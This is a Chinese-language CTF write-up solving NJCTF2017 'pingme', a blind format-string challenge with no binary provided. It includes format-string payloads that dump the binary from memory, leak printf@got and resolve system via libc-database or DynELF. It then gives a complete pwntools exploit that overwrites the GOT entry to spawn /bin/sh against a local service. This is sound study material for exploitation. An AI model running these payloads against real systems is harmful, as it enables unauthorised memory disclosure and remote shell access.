6.1.2 pwn NJCTF2017 pingme

下载文件

题目复现

在 6.1.1 中我们看到了 blind ROP,这一节中则将看到 blind fmt。它们的共同点是都没有二进制文件,只提供 ip 和端口。

checksec 如下:

  1. $ checksec -f pingme
  2. RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE
  3. No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme

关闭 ASLR,然后把程序运行起来:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &

Blind fmt 原理及题目解析

格式化字符串漏洞我们已经在 3.3.1 中详细讲过了,blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用,好在程序没有开启任何保护,利用很直接。

通常有两种方法可以解决这种问题,一种是利用信息泄露把程序从内存中 dump 下来,另一种是使用 pwntools 的 DynELF 模块(关于该模块的使用我们在章节 4.4 中有讲过)。

漏洞利用

确认漏洞

首先你当然不知道这是一个栈溢出还是格式化字符串,栈溢出的话输入一段长字符串,但程序是否崩溃,格式化字符串的话就输入格式字符,看输出。

  1. $ nc 127.0.0.1 10001
  2. Ping me
  3. ABCD%7$x
  4. ABCD44434241

很明显是格式字符串,而且 ABCD 在第 7 个参数的位置,实际上当然不会这么巧,所以需要使用一个脚本去枚举。这里使用 pwntools 的 fmtstr 模块了:

  1. def exec_fmt(payload):
  2. p.sendline(payload)
  3. info = p.recv()
  4. return info
  5. auto = FmtStr(exec_fmt)
  6. offset = auto.offset
  1. [*] Found format string offset: 7

dump file

接下来我们就利用该漏洞把二进制文件从内存中 dump 下来:

  1. def dump_memory(start_addr, end_addr):
  2. result = ""
  3. while start_addr < end_addr:
  4. p = remote('127.0.0.1', '10001')
  5. p.recvline()
  6. #print result.encode('hex')
  7. payload = "%9$s.AAA" + p32(start_addr)
  8. p.sendline(payload)
  9. data = p.recvuntil(".AAA")[:-4]
  10. if data == "":
  11. data = "\x00"
  12. log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
  13. result += data
  14. start_addr += len(data)
  15. p.close()
  16. return result
  17. start_addr = 0x8048000
  18. end_addr = 0x8049000
  19. code_bin = dump_memory(start_addr, end_addr)
  20. with open("code.bin", "wb") as f:
  21. f.write(code_bin)
  22. f.close()

这里构造的 paylaod 和前面有点不同,它把地址放在了后面,是为了防止 printf 的 %s\x00 截断:

  1. payload = "%9$s.AAA" + p32(start_addr)

另外 .AAA,是作为一个标志,我们需要的内存在 .AAA 的前面,最后,偏移由 7 变为 9。

在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了。在对内存 \x00 进行 leak 时,数据长度为零,直接给它赋值就可以了。

于是就成了有二进制文件无 libc 的格式化字符串漏洞,在 r2 中查询 printf 的 got 地址:

  1. [0x08048490]> is~printf
  2. vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
  3. [0x08048490]> pd 3 @ 0x08048400
  4. : ;-- imp.printf:
  5. : 0x08048400 ff2574990408 jmp dword [reloc.printf_116] ; 0x8049974
  6. : 0x08048406 6808000000 push 8 ; 8
  7. `=< 0x0804840b e9d0ffffff jmp 0x80483e0

地址为 0x8049974

printf address & system address

接下来通过 printf@got 泄露出 printf 的地址,进行到这儿,就有两种方式要考虑了,即我们是否可以拿到 libc,如果能,就很简单了。如果不能,就需要使用 DynELF 进行无 libc 的利用。

先说第一种:

  1. def get_printf_addr():
  2. p = remote('127.0.0.1', '10001')
  3. p.recvline()
  4. payload = "%9$s.AAA" + p32(printf_got)
  5. p.sendline(payload)
  6. data = p.recvuntil(".AAA")[:4]
  7. log.info("printf address: %s" % data.encode('hex'))
  8. return data
  9. printf_addr = get_printf_addr()
  1. [*] printf address: 70e6e0f7

所以 printf 的地址是 0xf7e0e670(小端序),使用 libc-database 查询得到 libc.so,然后可以得到 printf 和 system 的相对位置。

  1. $ ./find printf 670
  2. ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
  3. /usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
  4. $ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
  5. offset_printf = 0x00051670
  6. offset_system = 0x0003cc50

然后计算得到 printf 的地址:

  1. printf_addr = 0xf7e0e670
  2. offset_printf = 0x00051670
  3. offset_system = 0x0003cc50
  4. system_addr = printf_addr - (offset_printf - offset_system)

第二种方法是使用 DynELF 模块来泄露函数地址:

  1. def leak(addr):
  2. p = remote('127.0.0.1', '10001')
  3. p.recvline()
  4. payload = "%9$s.AAA" + p32(addr)
  5. p.sendline(payload)
  6. data = p.recvuntil(".AAA")[:-4] + "\x00"
  7. log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
  8. p.close()
  9. return data
  10. data = DynELF(leak, 0x08048490) # Entry point address
  11. system_addr = data.lookup('system', 'libc')
  12. printf_addr = data.lookup('printf', 'libc')
  13. log.info("system address: 0x%x" % system_addr)
  14. log.info("printf address: 0x%x" % printf_addr)
  1. [*] system address: 0xf7df9c50
  2. [*] printf address: 0xf7e0e670

DynELF 不要求我们拿到 libc.so,所以如果我们查询不到 libc.so 的版本信息,该模块就能发挥它最大的作用。

attack

按照格式化字符串漏洞的套路,我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址,然后发送字符串 /bin/sh,就可以在调用 printf("/bin/sh") 的时候实际上调用 system("/bin/sh")

终极 payload 如下,使用 fmtstr_payload 函数来自动构造,将:

  1. payload = fmtstr_payload(7, {printf_got: system_addr})
  2. p = remote('127.0.0.1', '10001')
  3. p.recvline()
  4. p.sendline(payload)
  5. p.recv()
  6. p.sendline('/bin/sh')
  7. p.interactive()

虽说有这样的自动化函数很方便,基本的手工构造还是要懂的,看一下生成的 payload 长什么样子:

  1. [DEBUG] Sent 0x3a bytes:
  2. 00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 t···│u···│v···│w···│
  3. 00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$hhn%76c%8
  4. 00000020 24 68 68 6e 25 36 37 63 25 39 24 68 68 6e 25 32 $hhn│%67c│%9$hhn%2
  5. 00000030 34 63 25 31 30 24 68 68 6e 0a 4c%10$hhn·│
  6. 0000003a

开头是 printf@got 地址,四个字节分别位于:

  1. 0x08049974
  2. 0x08049975
  3. 0x08049976
  4. 0x08049977

然后是格式字符串 %64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn

  1. 16 + 64 = 80 = 0x50
  2. 80 + 76 = 156 = 0x9c
  3. 156 + 67 = 223 = 0xdf
  4. 233 + 24 = 247 = 0xf7

就这样将 system 的地址写入了内存。

Bingo!!!

  1. $ python2 exp.py
  2. [+] Opening connection to 127.0.0.2 on port 10001: Done
  3. [*] Switching to interactive mode
  4. $ whoami
  5. firmy

exploit

完整的 exp 如下:

  1. from pwn import *
  2. # context.log_level = 'debug'
  3. def exec_fmt(payload):
  4. p.sendline(payload)
  5. info = p.recv()
  6. return info
  7. # p = remote('127.0.0.1', '10001')
  8. # p.recvline()
  9. # auto = FmtStr(exec_fmt)
  10. # offset = auto.offset
  11. # p.close()
  12. def dump_memory(start_addr, end_addr):
  13. result = ""
  14. while start_addr < end_addr:
  15. p = remote('127.0.0.1', '10001')
  16. p.recvline()
  17. # print result.encode('hex')
  18. payload = "%9$s.AAA" + p32(start_addr)
  19. p.sendline(payload)
  20. data = p.recvuntil(".AAA")[:-4]
  21. if data == "":
  22. data = "\x00"
  23. log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
  24. result += data
  25. start_addr += len(data)
  26. p.close()
  27. return result
  28. # start_addr = 0x8048000
  29. # end_addr = 0x8049000
  30. # code_bin = dump_memory(start_addr, end_addr)
  31. # with open("code.bin", "wb") as f:
  32. # f.write(code_bin)
  33. # f.close()
  34. printf_got = 0x8049974
  35. ## method 1
  36. def get_printf_addr():
  37. p = remote('127.0.0.1', '10001')
  38. p.recvline()
  39. payload = "%9$s.AAA" + p32(printf_got)
  40. p.sendline(payload)
  41. data = p.recvuntil(".AAA")[:4]
  42. log.info("printf address: %s" % data.encode('hex'))
  43. return data
  44. # printf_addr = get_printf_addr()
  45. printf_addr = 0xf7e0e670
  46. offset_printf = 0x00051670
  47. offset_system = 0x0003cc50
  48. system_addr = printf_addr - (offset_printf - offset_system)
  49. ## method 2
  50. def leak(addr):
  51. p = remote('127.0.0.1', '10001')
  52. p.recvline()
  53. payload = "%9$s.AAA" + p32(addr)
  54. p.sendline(payload)
  55. data = p.recvuntil(".AAA")[:-4] + "\x00"
  56. log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
  57. p.close()
  58. return data
  59. # data = DynELF(leak, 0x08048490) # Entry point address
  60. # system_addr = data.lookup('system', 'libc')
  61. # printf_addr = data.lookup('printf', 'libc')
  62. # log.info("system address: 0x%x" % system_addr)
  63. # log.info("printf address: 0x%x" % printf_addr)
  64. ## get shell
  65. payload = fmtstr_payload(7, {printf_got: system_addr})
  66. p = remote('127.0.1.1', '10001')
  67. p.recvline()
  68. p.sendline(payload)
  69. p.recv()
  70. p.sendline('/bin/sh')
  71. p.interactive()

参考资料